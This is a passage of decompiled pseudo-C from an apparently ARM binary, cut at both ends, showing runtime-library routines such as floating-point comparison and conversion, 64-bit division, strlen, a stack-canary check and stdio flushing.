v42 = v8 + (v5 >> 1);
v39 = v42 == 0;
v40 = v42 < 0;
if ( !((unsigned __int8)((v42 < 0) ^ v41) | (v42 == 0)) )
{
v41 = __OFSUB__(v5, v42);
v39 = v5 == v42;
v40 = ((v5 - v42) & 0x80000000) != 0;
}
if ( (unsigned __int8)(v40 ^ v41) | v39 )
JUMPOUT(&loc_EF74);
}
}

//----- (0000F290) --------------------------------------------------------
void __fastcall sub_F290(int a1, int a2, int a3, unsigned int a4)
{
int v4; // r4@0
int v5; // r12@0
int v6; // r5@1
char v7; // zf@1
char v8; // zf@15

v6 = v5 & (a4 >> 20);
v7 = v4 == v5;
if ( v4 == v5 )
v7 = v6 == v5;
if ( v7 )
JUMPOUT(&loc_F0F0);
if ( v4 == v5 )
{
if ( a1 | (a2 << 12) )
JUMPOUT(&loc_F0F0);
if ( v6 != v5 )
JUMPOUT(&loc_F0D8);
JUMPOUT(&loc_F0F0);
}
if ( v6 == v5 )
{
if ( !(a3 | (a4 << 12)) )
JUMPOUT(&loc_F08C);
JUMPOUT(&loc_F0F0);
}
v8 = (a1 | 2 * a2) == 0;
if ( a1 | 2 * a2 )
v8 = (a3 | 2 * a4) == 0;
if ( !v8 )
JUMPOUT(&loc_F024);
if ( a1 | 2 * a2 )
JUMPOUT(&loc_F0D8);
if ( a3 | 2 * a4 )
JUMPOUT(&loc_F08C);
JUMPOUT(&loc_F0F0);
}

//----- (0000F310) --------------------------------------------------------
int __fastcall sub_F310(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4)
{
char v4; // zf@1
char v5; // zf@4
int result; // r0@10
char v7; // cf@11
char v8; // zf@11
signed int v9; // r0@16

v4 = ~((signed int)(2 * a2) >> 21) == 0;
if ( ~((signed int)(2 * a2) >> 21) )
v4 = ~(2 * a4 >> 21) == 0;
if ( v4 && (!~((signed int)(2 * a2) >> 21) && a1 | (a2 << 12) || !~(2 * a4 >> 21) && a3 | (a4 << 12)) )
{
result = 1;
}
else
{
v5 = (a1 | 2 * a2) == 0;
if ( !(a1 | 2 * a2) )
v5 = (a3 | 2 * a4) == 0;
if ( !v5 )
v5 = a2 == a4;
if ( v5 && a1 == a3 )
{
result = 0;
}
else
{
v7 = 0;
v8 = a2 == a4;
if ( ((a2 ^ a4) & 0x80000000) == 0 )
{
v7 = a2 >= a4;
v8 = a2 == a4;
}
if ( v8 )
v7 = a1 >= a3;
if ( v7 )
v9 = a4 >> 31;
else
v9 = ~(a4 >> 31);
result = v9 | 1;
}
}
return result;
}

//----- (0000F398) --------------------------------------------------------
unsigned int __fastcall sub_F398(unsigned int a1, signed int a2, unsigned int a3, unsigned int a4)
{
unsigned int v4; // r12@1
unsigned int result; // r0@1

v4 = a1;
result = a3;
sub_F3B4(a3, a4, v4, a2);
return result;
}

//----- (0000F3B4) --------------------------------------------------------
void __fastcall __spoils<R1,R2,R3,R12> sub_F3B4(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4)
{
sub_F310(a1, a2, a3, a4);
}

//----- (0000F3C8) --------------------------------------------------------
void __fastcall sub_F3C8(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4)
{
int v4; // lr@0

sub_F3B4(a1, a2, a3, a4);
JUMPOUT(__CS__, v4);
}

//----- (0000F3DC) --------------------------------------------------------
void __fastcall sub_F3DC(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4)
{
int v4; // lr@0

sub_F3B4(a1, a2, a3, a4);
JUMPOUT(__CS__, v4);
}

//----- (0000F3F0) --------------------------------------------------------
void __fastcall sub_F3F0(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4)
{
int v4; // lr@0

sub_F3B4(a1, a2, a3, a4);
JUMPOUT(__CS__, v4);
}

//----- (0000F404) --------------------------------------------------------
void __fastcall sub_F404(unsigned int a1, signed int a2, unsigned int a3, unsigned int a4)
{
int v4; // lr@0

sub_F398(a1, a2, a3, a4);
JUMPOUT(__CS__, v4);
}

//----- (0000F418) --------------------------------------------------------
void __fastcall sub_F418(unsigned int a1, signed int a2, unsigned int a3, unsigned int a4)
{
int v4; // lr@0

sub_F398(a1, a2, a3, a4);
JUMPOUT(__CS__, v4);
}

//----- (0000F42C) --------------------------------------------------------
unsigned int __fastcall sub_F42C(unsigned int a1, int a2)
{
signed int v2; // r2@1
unsigned __int8 v3; // cf@4
int v4; // r2@4
unsigned int result; // r0@3

v2 = 2 * a2 + 0x200000;
if ( (unsigned int)(2 * a2) >= 0xFFE00000 )
{
if ( a1 | (a2 << 12) )
return 0;
goto LABEL_10;
}
if ( 2 * a2 + 0x200000 >= 0 )
return 0;
v3 = (unsigned int)(v2 >> 21) <= 0xFFFFFC1F;
v4 = -993 - (v2 >> 21);
if ( !((v4 != 0) & v3) )
{
LABEL_10:
result = a2 & 0x80000000;
if ( !(a2 & 0x80000000) )
result = 0x7FFFFFFF;
return result;
}
result = ((a2 << 11) | 0x80000000 | (a1 >> 21)) >> v4;
if ( a2 & 0x80000000 )
result = -result;
return result;
}

//----- (0000F488) --------------------------------------------------------
unsigned int __fastcall sub_F488(int a1, int a2)
{
int v2; // r12@0
unsigned __int8 v3; // cf@1
char v4; // zf@1
int v5; // r3@1
int v6; // r2@7
unsigned int result; // r0@7
unsigned int v8; // r2@13
unsigned int v9; // r0@13

v3 = (unsigned int)(2 * a2) >= 0x70000000;
v5 = 2 * a2 - 1879048192;
v4 = 2 * a2 == 1879048192;
if ( (unsigned int)(2 * a2) >= 0x70000000 )
{
v3 = (unsigned int)v5 >= 0x200000;
v2 = 2 * a2 - 1881145344;
v4 = v5 == 0x200000;
}
if ( v3 )
{
v3 = (unsigned int)v2 <= 0x1FC00000;
v4 = 532676608 == v2;
}
if ( !v4 & v3 )
{
LABEL_7:
v6 = 8 * a1;
result = 4 * v5 + ((unsigned int)(8 * a1) >= 0x80000000) + (a2 & 0x80000000 | ((unsigned int)a1 >> 29));
if ( v6 == 0x80000000 )
result &= 0xFFFFFFFE;
return result;
}
if ( !(a2 & 0x40000000) )
{
if ( (2 * a2 - 1830813696 < 0) ^ __OFADD__(2 * a2 - 1879048192, 48234496) )
return a2 & 0x80000000;
a2 |= 0x100000u;
v8 = 24 - ((unsigned int)(v5 + 48234496) >> 21);
v4 = a1 << (((unsigned int)(v5 + 48234496) >> 21) + 8) == 0;
v9 = (unsigned int)a1 >> v8;
if ( !v4 )
v9 |= 1u;
a1 = v9 | ((a2 & 0x1FFFFF) << (((unsigned int)(v5 + 48234496) >> 21) + 8));
v5 = 2 * ((a2 & 0x1FFFFFu) >> v8);
goto LABEL_7;
}
if ( ~(2 * a2 >> 21) || !(a1 | (a2 << 12)) )
result = a2 & 0x80000000 | 0x7F800000;
else
result = 2143289344;
return result;
}

//----- (0000F528) --------------------------------------------------------
int __fastcall sub_F528(int a1, int a2, int a3)
{
return a3 * a1;
}

//----- (0000F53C) --------------------------------------------------------
unsigned __int64 __fastcall sub_F53C(__int64 a1, __int64 a2)
{
int v3; // [sp+0h] [bp-10h]@0

return sub_F5D0(a1, a2, v3);
}

//----- (0000F558) --------------------------------------------------------
int __fastcall sub_F558(__int64 a1, __int64 a2)
{
int v3; // [sp+0h] [bp-10h]@0

return sub_F58C(a1, a2, v3);
}

//----- (0000F58C) --------------------------------------------------------
int __fastcall sub_F58C(__int64 a1, __int64 a2, int a3)
{
__int64 v3; // r4@1
__int64 v4; // r6@1
__int64 v5; // r0@1

v3 = a2;
v4 = a1;
LODWORD(v5) = sub_10EE0(a1, HIDWORD(a1), a2, HIDWORD(a2));
*(_QWORD *)a3 = v4 - v3 * v5;
return v5;
}

//----- (0000F5D0) --------------------------------------------------------
unsigned __int64 __fastcall sub_F5D0(__int64 a1, __int64 a2, int a3)
{
__int64 v3; // r4@1
__int64 v4; // r6@1
unsigned __int64 result; // r0@1

v3 = a2;
v4 = a1;
result = sub_10A64(a1, HIDWORD(a1), a2, SHIDWORD(a2));
*(_QWORD *)a3 = v4 - v3 * result;
return result;
}

//----- (00010A64) --------------------------------------------------------
unsigned __int64 __fastcall sub_10A64(unsigned int a1, unsigned int a2, int a3, int a4)
{
int v4; // r4@1
int v5; // r5@1
int v6; // r10@2
char v7; // zf@6
unsigned int v8; // r12@6
unsigned int v9; // r5@6
int v10; // r8@6
unsigned int v11; // r3@9
int v12; // r9@13
int v13; // r1@13
int v14; // r11@13
unsigned int v15; // r0@13
int v16; // r11@13
int v17; // r8@13
int v18; // r6@13
unsigned int v19; // r8@17
int v20; // r1@17
int v21; // r11@17
unsigned int v22; // r0@17
int v23; // r11@17
int v24; // r3@17
int v25; // r11@18
int v26; // r8@21
unsigned int v27; // r3@24
unsigned int v28; // r8@25
unsigned int v29; // r7@25
unsigned int v30; // r6@26
unsigned int v31; // r0@26
int v32; // r8@26
int v33; // r9@26
int v34; // r1@26
int v35; // r11@26
unsigned int v36; // r0@26
int v37; // r11@26
int v38; // r3@26
int v39; // r6@26
unsigned int v40; // r11@30
int v41; // r1@30
int v42; // ST04_4@30
unsigned int v43; // r0@30
int v44; // r3@30
int v45; // r2@30
int v46; // r9@35
int v47; // r1@35
int v48; // r11@35
unsigned int v49; // r0@35
int v50; // r11@35
int v51; // r3@35
int v52; // r8@35
unsigned int v53; // r11@39
int v54; // r1@39
int v55; // ST04_4@39
unsigned int v56; // r0@39
int v57; // r3@39
int v58; // r2@39
int v59; // r3@40
unsigned __int8 v60; // cf@46
unsigned int v61; // r8@51
int v62; // r6@51
int v63; // r11@51
int v64; // r1@51
int v65; // ST04_4@51
unsigned int v66; // r0@51
int v67; // r1@51
int v68; // r8@51
int v69; // r3@51
unsigned int v70; // r2@51
unsigned int v71; // r4@55
int v72; // r1@55
int v73; // ST04_4@55
unsigned int v74; // r0@55
int v75; // r3@55
int v76; // r1@55
int v77; // r3@59
int v78; // r12@59
int v79; // r4@59
int v80; // r2@59
int v81; // r4@59
int v82; // r12@59
int v83; // r1@59
unsigned int v84; // r12@59
unsigned __int64 v85; // kr08_8@61
unsigned __int64 v86; // r2@69
unsigned int v88; // [sp+8h] [bp-30h]@55
int v89; // [sp+Ch] [bp-2Ch]@51

v4 = a3;
v5 = a4;
if ( (a2 & 0x80000000) != 0 )
{
v60 = a1 <= 0;
a1 = -a1;
a2 = -(!v60 + a2);
v6 = -1;
}
else
{
v6 = 0;
}
if ( a4 < 0 )
{
v4 = -a3;
v5 = -(((unsigned int)a3 > 0) + a4);
v6 = ~v6;
}
v8 = v5;
v7 = v5 == 0;
v9 = a1;
v10 = a2;
if ( v7 )
{
if ( v4 > a2 )
{
v11 = __clz(v4);
if ( v11 )
{
v4 <<= v11;
v10 = (a1 >> (32 - v11)) | (a2 << v11);
}
if ( v11 )
v9 = a1 << v11;
sub_E9C8(v10, (unsigned int)v4 >> 16);
v12 = (unsigned __int16)v4;
v14 = v13;
v15 = sub_E91C(v10, (unsigned int)v4 >> 16);
v16 = (v9 >> 16) | (v14 << 16);
v17 = (unsigned __int16)v4 * v15;
v18 = v15;
if ( v16 < (unsigned int)v17 )
{
v60 = __CFADD__(v16, v4);
v16 += v4;
v18 = v15 - 1;
if ( !v60 && v16 < (unsigned int)v17 )
{
v18 = v15 - 2;
v16 += v4;
}
}
v19 = v16 - v17;
sub_E9C8(v19, (unsigned int)v4 >> 16);
v21 = v20;
v22 = sub_E91C(v19, (unsigned int)v4 >> 16);
v23 = (unsigned __int16)v9 | (v21 << 16);
v24 = v12 * v22;
if ( v23 < v12 * v22 )
{
v60 = __CFADD__(v23, v4);
v25 = v23 + v4;
--v22;
if ( !v60 && v25 < (unsigned int)v24 )
--v22;
}
v26 = v22 | (v18 << 16);
goto LABEL_67;
}
if ( !v4 )
v4 = sub_E91C(1u, 0);
v27 = __clz(v4);
if ( v27 )
{
v4 <<= v27;
v30 = (unsigned int)v10 >> (32 - v27);
v31 = (unsigned int)v10 >> (32 - v27);
v32 = (v9 >> (32 - v27)) | (v10 << v27);
v9 <<= v27;
sub_E9C8(v31, (unsigned int)v4 >> 16);
v33 = (unsigned __int16)v4;
v35 = v34;
v36 = sub_E91C(v30, (unsigned int)v4 >> 16);
v37 = ((unsigned int)v32 >> 16) | (v35 << 16);
v38 = (unsigned __int16)v4 * v36;
v39 = v36;
if ( v37 < (unsigned int)v38 )
{
v60 = __CFADD__(v37, v4);
v37 += v4;
v39 = v36 - 1;
if ( !v60 && v37 < (unsigned int)v38 )
{
v39 = v36 - 2;
v37 += v4;
}
}
v40 = v37 - v38;
sub_E9C8(v40, (unsigned int)v4 >> 16);
v42 = v41;
v43 = sub_E91C(v40, (unsigned int)v4 >> 16);
v44 = (unsigned __int16)v32 | (v42 << 16);
v45 = v33 * v43;
if ( v44 < v33 * v43 )
{
v60 = __CFADD__(v44, v4);
v44 += v4;
--v43;
if ( !v60 && v44 < (unsigned int)v45 )
{
--v43;
v44 += v4;
}
}
v28 = v44 - v45;
v29 = v43 | (v39 << 16);
}
else
{
v28 = v10 - v4;
v29 = 1;
}
sub_E9C8(v28, (unsigned int)v4 >> 16);
v46 = (unsigned __int16)v4;
v48 = v47;
v49 = sub_E91C(v28, (unsigned int)v4 >> 16);
v50 = (v9 >> 16) | (v48 << 16);
v51 = (unsigned __int16)v4 * v49;
v52 = v49;
if ( v50 < (unsigned int)v51 )
{
v60 = __CFADD__(v50, v4);
v50 += v4;
v52 = v49 - 1;
if ( !v60 && v50 < (unsigned int)v51 )
{
v52 = v49 - 2;
v50 += v4;
}
}
v53 = v50 - v51;
sub_E9C8(v53, (unsigned int)v4 >> 16);
v55 = v54;
v56 = sub_E91C(v53, (unsigned int)v4 >> 16);
v57 = (unsigned __int16)v9 | (v55 << 16);
v58 = v46 * v56;
if ( v57 < v46 * v56 )
{
v60 = __CFADD__(v57, v4);
v59 = v57 + v4;
--v56;
if ( !v60 && v59 < (unsigned int)v58 )
--v56;
}
v26 = v56 | (v52 << 16);
}
else
{
if ( v8 > a2 )
{
LABEL_68:
v29 = 0;
v26 = 0;
goto LABEL_69;
}
v29 = __clz(v8);
if ( !v29 )
{
v60 = a2 >= v8;
if ( a2 <= v8 )
v60 = a1 >= v4;
if ( v60 )
{
v26 = 1;
goto LABEL_69;
}
goto LABEL_68;
}
v61 = a2 >> (32 - v29);
v62 = ((unsigned int)v4 >> (32 - v29)) | (v8 << v29);
v89 = (a1 >> (32 - v29)) | (a2 << v29);
sub_E9C8(a2 >> (32 - v29), (unsigned int)v62 >> 16);
v63 = (unsigned __int16)v62;
v65 = v64;
v66 = sub_E91C(v61, (unsigned int)v62 >> 16);
v67 = (unsigned __int16)v62 * v66;
v68 = v66;
v69 = ((unsigned int)v89 >> 16) | (v65 << 16);
v70 = v4 << v29;
if ( v69 < (unsigned int)v67 )
{
v60 = __CFADD__(v69, v62);
v69 += v62;
v68 = v66 - 1;
if ( !v60 && v69 < (unsigned int)v67 )
{
v68 = v66 - 2;
v69 += v62;
}
}
v71 = v69 - v67;
v88 = v70;
sub_E9C8(v69 - v67, (unsigned int)v62 >> 16);
v73 = v72;
v74 = sub_E91C(v71, (unsigned int)v62 >> 16);
v75 = (unsigned __int16)v89 | (v73 << 16);
v76 = v63 * v74;
if ( v75 < v63 * v74 )
{
v60 = __CFADD__(v75, v62);
v75 += v62;
--v74;
if ( !v60 && v75 < (unsigned int)v76 )
{
v75 += v62;
--v74;
}
}
v77 = v75 - v76;
v26 = v74 | (v68 << 16);
v78 = v26 & ~((unsigned int)v26 >> 16 << 16);
v79 = v88 & ~(v88 >> 16 << 16);
v80 = v78 * v79;
v81 = ((unsigned int)v26 >> 16) * v79;
v82 = (v88 >> 16) * v78;
v83 = ((unsigned int)v26 >> 16) * (v88 >> 16);
v60 = __CFADD__(v81, v82);
v84 = v81 + v82;
if ( v60 )
v83 += 0x10000;
v85 = __PAIR__(v83, v80) + __PAIR__(v84 >> 16, v84 << 16);
if ( (__PAIR__(v83, v80) + __PAIR__(v84 >> 16, v84 << 16)) >> 32 > (unsigned int)v77
|| ((unsigned int)v85 > v9 << v29 ? (v29 = HIDWORD(v85) == v77) : (v29 = 0), v29) )
{
--v26;
LABEL_67:
v29 = 0;
goto LABEL_69;
}
}
LABEL_69:
v86 = __PAIR__(v29, v26);
if ( v6 )
{
LODWORD(v86) = -v26;
HIDWORD(v86) = -(((unsigned int)v26 > 0) + v29);
}
return v86;
}

//----- (00010EE0) --------------------------------------------------------
signed int __fastcall sub_10EE0(unsigned int a1, unsigned int a2, unsigned int a3, unsigned int a4)
{
unsigned int v4; // r4@1
unsigned int v5; // r6@1
unsigned int v6; // r5@1
int v7; // r7@1
unsigned int v8; // r3@3
int v9; // r10@7
int v10; // r1@7
int v11; // r9@7
unsigned int v12; // r0@7
int v13; // r9@7
int v14; // r7@7
int v15; // r4@7
unsigned int v16; // r7@11
int v17; // r1@11
int v18; // r11@11
unsigned int v19; // r0@11
int v20; // r11@11
int v21; // r3@11
int v22; // r11@12
int v23; // r4@15
unsigned int v24; // r3@18
unsigned int v25; // r4@19
unsigned int v26; // r7@20
int v27; // r10@20
int v28; // r1@20
int v29; // r4@20
unsigned int v30; // r11@20
unsigned int v31; // r11@24
int v32; // r1@24
int v33; // r4@24
unsigned int v34; // r3@24
int v35; // r10@29
int v36; // r1@29
int v37; // r11@29
unsigned int v38; // r0@29
int v39; // r11@29
int v40; // r9@29
int v41; // r4@29
unsigned int v42; // r9@33
int v43; // r1@33
int v44; // r11@33
unsigned int v45; // r0@33
int v46; // r11@33
int v47; // r3@33
int v48; // r11@34
unsigned int v49; // r8@39
unsigned __int8 v50; // cf@40
int v51; // r7@45
unsigned int v52; // r9@45
int v53; // r4@45
int v54; // r11@45
int v55; // r1@45
int v56; // ST04_4@45
unsigned int v57; // r0@45
int v58; // r3@45
unsigned int v59; // r2@45
int v60; // r1@45
int v61; // r9@45
unsigned int v62; // r5@49
int v63; // r1@49
int v64; // ST04_4@49
unsigned int v65; // r0@49
int v66; // r3@49
int v67; // r1@49
int v68; // r3@53
int v69; // r12@53
int v70; // r5@53
int v71; // r2@53
int v72; // r5@53
int v73; // r12@53
int v74; // r1@53
unsigned int v75; // r12@53
unsigned __int64 v76; // kr08_8@55
char v77; // r3@56
int v78; // r8@57
unsigned int v80; // [sp+0h] [bp-30h]@49

v4 = a2;
v5 = a1;
v6 = a3;
v7 = a2;
if ( !a4 )
{
if ( a3 <= a2 )
{
if ( !a3 )
v6 = sub_E91C(1u, 0);
v24 = __clz(v6);
if ( v24 )
{
v6 <<= v24;
v26 = v4 >> (32 - v24);
v27 = (v5 >> (32 - v24)) | (v4 << v24);
v5 <<= v24;
sub_E9C8(v4 >> (32 - v24), v6 >> 16);
v29 = ((unsigned int)v27 >> 16) | (v28 << 16);
v30 = (unsigned __int16)v6 * sub_E91C(v26, v6 >> 16);
if ( v29 < v30 )
{
v50 = __CFADD__(v29, v6);
v29 += v6;
if ( !v50 && v29 < v30 )
v29 += v6;
}
v31 = v29 - v30;
sub_E9C8(v31, v6 >> 16);
v33 = (unsigned __int16)v27 | (v32 << 16);
v34 = (unsigned __int16)v6 * sub_E91C(v31, v6 >> 16);
if ( v33 < v34 )
{
v50 = __CFADD__(v33, v6);
v33 += v6;
if ( !v50 && v33 < v34 )
v33 += v6;
}
v25 = v33 - v34;
}
else
{
v25 = v4 - v6;
}
sub_E9C8(v25, v6 >> 16);
v35 = (unsigned __int16)v6;
v37 = v36;
v38 = sub_E91C(v25, v6 >> 16);
v39 = (v5 >> 16) | (v37 << 16);
v40 = (unsigned __int16)v6 * v38;
v41 = v38;
if ( v39 < (unsigned int)v40 )
{
v50 = __CFADD__(v39, v6);
v39 += v6;
v41 = v38 - 1;
if ( !v50 && v39 < (unsigned int)v40 )
{
v41 = v38 - 2;
v39 += v6;
}
}
v42 = v39 - v40;
sub_E9C8(v42, v6 >> 16);
v44 = v43;
v45 = sub_E91C(v42, v6 >> 16);
v46 = (unsigned __int16)v5 | (v44 << 16);
v47 = v35 * v45;
if ( v46 < v35 * v45 )
{
v50 = __CFADD__(v46, v6);
v48 = v46 + v6;
--v45;
if ( !v50 && v48 < (unsigned int)v47 )
--v45;
}
v23 = v45 | (v41 << 16);
}
else
{
v8 = __clz(a3);
if ( v8 )
{
v6 = a3 << v8;
v7 = (a1 >> (32 - v8)) | (a2 << v8);
}
if ( v8 )
v5 = a1 << v8;
sub_E9C8(v7, v6 >> 16);
v9 = (unsigned __int16)v6;
v11 = v10;
v12 = sub_E91C(v7, v6 >> 16);
v13 = (v5 >> 16) | (v11 << 16);
v14 = (unsigned __int16)v6 * v12;
v15 = v12;
if ( v13 < (unsigned int)v14 )
{
v50 = __CFADD__(v13, v6);
v13 += v6;
v15 = v12 - 1;
if ( !v50 && v13 < (unsigned int)v14 )
{
v15 = v12 - 2;
v13 += v6;
}
}
v16 = v13 - v14;
sub_E9C8(v16, v6 >> 16);
v18 = v17;
v19 = sub_E91C(v16, v6 >> 16);
v20 = (unsigned __int16)v5 | (v18 << 16);
v21 = v9 * v19;
if ( v20 < v9 * v19 )
{
v50 = __CFADD__(v20, v6);
v22 = v20 + v6;
--v19;
if ( !v50 && v22 < (unsigned int)v21 )
--v19;
}
v23 = v19 | (v15 << 16);
}
return v23;
}
if ( a4 > a2 )
return 0;
v49 = __clz(a4);
if ( !v49 )
{
v50 = a2 >= a4;
if ( a2 <= a4 )
v50 = a1 >= a3;
if ( v50 )
return 1;
return 0;
}
v51 = (a3 >> (32 - v49)) | (a4 << v49);
v52 = a2 >> (32 - v49);
v53 = (a1 >> (32 - v49)) | (a2 << v49);
sub_E9C8(a2 >> (32 - v49), (unsigned int)v51 >> 16);
v54 = (unsigned __int16)v51;
v56 = v55;
v57 = sub_E91C(v52, (unsigned int)v51 >> 16);
v58 = ((unsigned int)v53 >> 16) | (v56 << 16);
v59 = v6 << v49;
v60 = (unsigned __int16)v51 * v57;
v61 = v57;
if ( v58 < (unsigned int)v60 )
{
v50 = __CFADD__(v58, v51);
v58 += v51;
v61 = v57 - 1;
if ( !v50 && v58 < (unsigned int)v60 )
{
v61 = v57 - 2;
v58 += v51;
}
}
v62 = v58 - v60;
v80 = v59;
sub_E9C8(v58 - v60, (unsigned int)v51 >> 16);
v64 = v63;
v65 = sub_E91C(v62, (unsigned int)v51 >> 16);
v66 = (unsigned __int16)v53 | (v64 << 16);
v67 = v54 * v65;
if ( v66 < v54 * v65 )
{
v50 = __CFADD__(v66, v51);
v66 += v51;
--v65;
if ( !v50 && v66 < (unsigned int)v67 )
{
v66 += v51;
--v65;
}
}
v68 = v66 - v67;
v23 = v65 | (v61 << 16);
v69 = v23 & ~((unsigned int)v23 >> 16 << 16);
v70 = v80 & ~(v80 >> 16 << 16);
v71 = v69 * v70;
v72 = ((unsigned int)v23 >> 16) * v70;
v73 = (v80 >> 16) * v69;
v74 = ((unsigned int)v23 >> 16) * (v80 >> 16);
v50 = __CFADD__(v72, v73);
v75 = v72 + v73;
if ( v50 )
v74 += 0x10000;
v76 = __PAIR__(v74, v71) + __PAIR__(v75 >> 16, v75 << 16);
if ( (__PAIR__(v74, v71) + __PAIR__(v75 >> 16, v75 << 16)) >> 32 > (unsigned int)v68
|| ((v77 = HIDWORD(v76) == v68, (unsigned int)v76 > v5 << v49) ? (v78 = v77 & 1) : (v78 = 0), v78) )
--v23;
return v23;
}

//----- (00013628) --------------------------------------------------------
int __fastcall sub_13628(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int (__fastcall *a10)(_DWORD))
{
return a10(-a1);
}

//----- (000185F4) --------------------------------------------------------
int __fastcall sub_185F4(int a1)
{
int i; // r3@1
int v2; // r3@2
int v3; // r0@9
int v4; // r1@9
int v5; // t1@9
int v6; // r3@9
int v7; // t1@11
int v8; // t1@14
int v9; // t1@17
int v10; // t1@20
int v11; // t1@23
int v12; // t1@26
int v13; // t1@29
int v14; // t1@32
char v16; // [sp+4h] [bp-4h]@3

i = a1 & 3;
__pld((void *)a1);
__pld((void *)(a1 + 32));
if ( a1 & 3 )
{
v2 = *(_BYTE *)a1;
if ( *(_BYTE *)a1 )
{
v16 = a1 + 1;
for ( i = 1; ; v16 = a1 + i )
{
if ( !(v16 & 3) )
{
a1 += i;
goto LABEL_9;
}
++i;
if ( !*(_BYTE *)(a1 + i - 1) )
break;
}
v2 = i - 1;
}
}
else
{
LABEL_9:
v5 = *(_DWORD *)a1;
v3 = a1 + 4;
v4 = v5;
v6 = i - v3;
while ( 1 )
{
__pld((void *)(v3 + 64));
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v7 = *(_DWORD *)v3;
v3 += 4;
v4 = v7;
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v8 = *(_DWORD *)v3;
v3 += 4;
v4 = v8;
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v9 = *(_DWORD *)v3;
v3 += 4;
v4 = v9;
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v10 = *(_DWORD *)v3;
v3 += 4;
v4 = v10;
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v11 = *(_DWORD *)v3;
v3 += 4;
v4 = v11;
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v12 = *(_DWORD *)v3;
v3 += 4;
v4 = v12;
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v13 = *(_DWORD *)v3;
v3 += 4;
v4 = v13;
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v14 = *(_DWORD *)v3;
v3 += 4;
v4 = v14;
}
v2 = v6 + v3;
if ( (unsigned __int8)v4 )
{
++v2;
if ( v4 & 0xFF00 )
{
++v2;
if ( v4 & 0xFF0000 )
++v2;
}
}
}
return v2;
}
// 18734: using guessed type int dword_18734;

//----- (00018928) --------------------------------------------------------
int __fastcall sub_18928(int a1)
{
int v1; // r4@1
int result; // r0@1
int v3; // [sp+0h] [bp-30h]@1
int v4; // [sp+24h] [bp-Ch]@1

v1 = *(_DWORD *)((char *)off_18958 + dword_1895C + 100660);
v4 = *(_DWORD *)v1;
result = (unsigned int)sub_1E8C8(a1, dword_18960, (int)&v3, (int)((char *)off_18958 + 100660)) <= 0;
if ( v4 != *(_DWORD *)v1 )
result = ((int (__fastcall *)(int))loc_1E9B0)(result);
return result;
}
// 18958: using guessed type void *off_18958;
// 1895C: using guessed type int dword_1895C;
// 18960: using guessed type int dword_18960;

//----- (00018964) --------------------------------------------------------
int __fastcall sub_18964(int a1, int a2, int a3, int a4, int a5, int a6)
{
int result; // r0@2

if ( a6 << 20 )
{
*(_DWORD *)sub_1FD74() = 22;
result = -1;
}
else
{
result = sub_E6BC(a1);
}
return result;
}

//----- (00018C08) --------------------------------------------------------
signed int __fastcall sub_18C08(int a1)
{
int v1; // r2@1
int v2; // r4@1
int v3; // r5@2
int v4; // r6@3
int v5; // r3@3
int v6; // r6@3
int v7; // r0@6

v1 = *(_WORD *)(a1 + 12);
v2 = a1;
if ( v1 & 8 )
{
v3 = *(_DWORD *)(a1 + 16);
if ( v3 )
{
v4 = *(_DWORD *)a1;
v5 = 0;
*(_DWORD *)a1 = v3;
v6 = v4 - v3;
if ( !(v1 << 30) )
v5 = *(_DWORD *)(a1 + 20);
*(_DWORD *)(a1 + 8) = v5;
while ( v6 > 0 )
{
v7 = (*(int (__fastcall **)(_DWORD, int, int))(v2 + 44))(*(_DWORD *)(v2 + 28), v3, v6);
if ( v7 <= 0 )
{
*(_WORD *)(v2 + 12) |= 0x40u;
return -1;
}
v6 -= v7;
v3 += v7;
}
}
}
return 0;
}

//----- (00018C54) --------------------------------------------------------
signed int __fastcall sub_18C54(int a1)
{
signed int result; // r0@2
__int16 v2; // r1@3

if ( a1 )
{
v2 = *(_WORD *)(a1 + 12);
if ( v2 & 0x18 )
{
result = sub_18C08(a1);
}
else
{
*(_DWORD *)sub_1FD74() = 9;
result = -1;
}
}
else
{
result = sub_19008(*(int (__fastcall **)(_DWORD))((char *)off_18C84 + dword_18C88 + 101468));
}
return result;
}
// 18C84: using guessed type void *off_18C84;
// 18C88: using guessed type int dword_18C88;

//----- (00018D40) --------------------------------------------------------
int sub_18D40()
{
char *v0; // r3@1
char *v1; // r2@1
char *v2; // r0@1
char *v3; // r4@1
int v4; // r5@2
int result; // r0@3

v0 = (char *)off_18D78 + 101708;
v1 = (char *)off_18D7C + 101834;
v2 = (char *)off_18D78 + 101912;
v3 = (char *)off_18D80 + 101720;
do
{
*(_DWORD *)v1 = v0;
*(_DWORD *)v0 = 0;
v4 = *(_DWORD *)v1;
v0 += 12;
v1 += 84;
*(_DWORD *)(v4 + 4) = 0;
}
while ( v0 != v2 );
sub_1B870(*(_DWORD *)&v3[dword_18D84]);
result = dword_18D88;
**(_DWORD **)&v3[dword_18D88] = 1;
return result;
}
// 18D78: using guessed type void *off_18D78;
// 18D7C: using guessed type void *off_18D7C;
// 18D80: using guessed type void *off_18D80;
// 18D84: using guessed type int dword_18D84;
// 18D88: using guessed type int dword_18D88;

//----- (00019008) --------------------------------------------------------
int __fastcall sub_19008(int (__fastcall *a1)(_DWORD))
{
int v1; // r4@1
int v2; // r6@1
int v3; // r5@2
int v4; // r7@2
int (__fastcall *v6)(_DWORD); // [sp+4h] [bp-1Ch]@1

v1 = *(_DWORD *)((char *)off_19040 + dword_19044 + 102420);
v6 = a1;
v2 = 0;
do
{
v3 = *(_DWORD *)(v1 + 8);
v4 = *(_DWORD *)(v1 + 4);
while ( 1 )
{
--v4;
if ( v4 < 0 )
break;
if ( *(_WORD *)(v3 + 12) )
v2 |= v6(v3);
v3 += 84;
}
